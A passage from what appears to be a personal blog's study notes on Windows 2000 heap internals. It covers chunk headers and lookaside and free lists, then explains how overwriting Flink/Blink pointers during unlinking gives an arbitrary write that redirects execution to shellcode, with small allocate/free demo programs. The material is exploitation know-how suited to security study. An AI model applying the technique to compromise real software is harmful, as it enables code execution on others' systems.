&lt;/span&gt;&lt;span&gt;TagIndex_Debug&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;PVOID&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;FlinkInFreelist&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;span&gt; // next&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;PVOID&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;BlinkInFreelist&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;span&gt; // previous&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;// Empty Data After...&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Allocating chunks
&lt;ul&gt;
&lt;li&gt;The chunk size includes the header, so asking for 32 bytes allocates 40&lt;/li&gt;
&lt;li&gt;The heap unit is 8 bytes and anything smaller is rounded up to 8, so the smallest real allocation is 16 bytes&lt;/li&gt;
&lt;li&gt;At the start, the lookaside and free lists are both empty, so there’s no exact fit and the request is served by a next-best chunk&lt;/li&gt;
&lt;li&gt;Because of that next-best allocation, the allocator cuts small pieces off the tail chunk, updates the size in the tail chunk’s header, and finally points &lt;code&gt;freelist[0]&lt;/code&gt; at the new tail chunk&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Testing the lookaside lists&lt;a href=&quot;#testing-the-lookaside-lists&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;section&gt;&lt;h4&gt;Code&lt;a href=&quot;#code-1&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#include&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#include&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;windows.h&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;void&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;main&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;HLOCAL&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;h1&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;h2&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;h3&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;h4&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;HANDLE&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;hp&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;hp&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;HeapCreate&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;__asm&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;h1&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;HeapAlloc&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;hp&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;HEAP_ZERO_MEMORY&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;8&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;h2&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;HeapAlloc&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;hp&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;HEAP_ZERO_MEMORY&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;8&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;h3&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;HeapAlloc&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;hp&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;HEAP_ZERO_MEMORY&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;16&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;h4&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;HeapAlloc&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;hp&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;HEAP_ZERO_MEMORY&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;24&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;HeapFree&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;hp&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;h1&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;HeapFree&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;hp&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;h2&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;HeapFree&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;hp&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;h3&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;HeapFree&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;hp&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;h4&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;h2&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;HeapAlloc&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;hp&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;HEAP_ZERO_MEMORY&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;16&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;HeapFree&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;hp&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;h2&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;What I learned&lt;a href=&quot;#what-i-learned-1&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;The header flag is 0x01&lt;/li&gt;
&lt;li&gt;There’s only a pointer to the next chunk, none to the previous one&lt;/li&gt;
&lt;li&gt;&lt;code&gt;freeList[0]&lt;/code&gt; at offset &lt;code&gt;0x178&lt;/code&gt; changed to &lt;code&gt;0x00361E90&lt;/code&gt;, because the lookaside lists took over the old &lt;code&gt;0x00360688&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;The lookaside lists start at &lt;code&gt;0x688&lt;/code&gt;. Each one is &lt;code&gt;0x30&lt;/code&gt; bytes, and its first four bytes are the singly linked list&lt;/li&gt;
&lt;li&gt;The book says an 8-byte chunk gets put into &lt;code&gt;lookaside[1]&lt;/code&gt;, but it looks to me like the one at &lt;code&gt;0x688&lt;/code&gt; is &lt;code&gt;lookaside[0]&lt;/code&gt;, the one at &lt;code&gt;0x6B8&lt;/code&gt; is &lt;code&gt;lookaside[1]&lt;/code&gt;, and the one at &lt;code&gt;0x6E8&lt;/code&gt; could be called &lt;code&gt;lookaside[2]&lt;/code&gt;, holding chunks that are 16 bytes including the header&lt;/li&gt;
&lt;/ul&gt;&lt;hr /&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Exploiting heap overflows&lt;a href=&quot;#exploiting-heap-overflows&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Once you can follow how chunks get linked and unlinked, the next step is getting the heap to write memory for us.&lt;/p&gt;&lt;p&gt;Note: this was also done on Windows 2000&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Unlinking&lt;a href=&quot;#unlinking&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;section&gt;&lt;h4&gt;The idea&lt;a href=&quot;#the-idea&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;Allocating a chunk “unlinks” it from a free list&lt;/li&gt;
&lt;li&gt;Freeing a chunk links it into a free list&lt;/li&gt;
&lt;li&gt;Coalescing “unlinks” several chunks from free lists, updates the header (size), and then “links” the new chunk back into a free list&lt;/li&gt;
&lt;/ul&gt;&lt;blockquote&gt;&lt;p&gt;Exploiting a heap overflow means crafting data that overflows into the next chunk’s header, overwriting its forward and backward pointers, and then waiting for an allocate, free or coalesce to give you one chance to write any data to any address in memory&lt;/p&gt;&lt;/blockquote&gt;&lt;ul&gt;
&lt;li&gt;This chance to write any value anywhere is called a &lt;code&gt;DWORD SHOOT/ARBITRARY DWORD RESET&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Target&lt;/th&gt;&lt;th&gt;Payload&lt;/th&gt;&lt;th&gt;Result&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;A function’s return address in a stack frame&lt;/td&gt;&lt;td&gt;Shellcode start address&lt;/td&gt;&lt;td&gt;Shellcode runs when the function returns&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;The S.E.H handler in a stack frame&lt;/td&gt;&lt;td&gt;Shellcode start address&lt;/td&gt;&lt;td&gt;Shellcode runs when an exception happens&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;An important function pointer&lt;/td&gt;&lt;td&gt;Shellcode start address&lt;/td&gt;&lt;td&gt;Shellcode runs when the function is called&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Hands-on&lt;a href=&quot;#hands-on-1&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;section&gt;&lt;h5&gt;Code&lt;a href=&quot;#code-2&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h5&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#include&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;windows.h&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;main&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;HLOCAL&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;h1&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;h2&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;h3&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;h4&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;h5&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;h6&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;HANDLE&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;hp&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;hp&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;HeapCreate&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;1000&lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;10000&lt;/span&gt;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;h1&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;HeapAlloc&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;hp&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;HEAP_ZERO_MEMORY&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;8&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;h2&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;HeapAlloc&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;hp&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;HEAP_ZERO_MEMORY&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;8&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;h3&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;HeapAlloc&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;hp&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;HEAP_ZERO_MEMORY&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;8&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;h4&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;HeapAlloc&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;hp&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;HEAP_ZERO_MEMORY&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;8&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;h5&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;HeapAlloc&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;hp&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;HEAP_ZERO_MEMORY&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;8&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;h6&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;HeapAlloc&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;hp&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;HEAP_ZERO_MEMORY&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;8&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;_asm&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt;//used to break the process&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;//free the odd blocks to prevent coalesing&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;HeapFree&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;hp&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;h1&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;HeapFree&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;hp&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;h3&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;HeapFree&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;hp&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;h5&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;span&gt; //now freelist[2] got 3 entries&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;//will allocate from freelist[2] which means unlink the last entry&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;//(h5)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;h1&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;HeapAlloc&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;hp&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;HEAP_ZERO_MEMORY&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;8&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h5&gt;What I found&lt;a href=&quot;#what-i-found&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h5&gt;&lt;ul&gt;
&lt;li&gt;When h1 gets h5’s space, if h5’s Blink and Flink have already been overwritten by an overflow, [Flink] gets written into [Blink]&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Unlinking runs &lt;code&gt;node-&amp;gt;blink-&amp;gt;flink = node-&amp;gt;flink&lt;/code&gt;. Flink sits right at the start of the node, so that line means “write the value of Flink to the address Blink points at”, and we wrote both pointers.&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Planting code&lt;a href=&quot;#planting-code&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;section&gt;&lt;h4&gt;The idea&lt;a href=&quot;#the-idea-1&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;ul&gt;
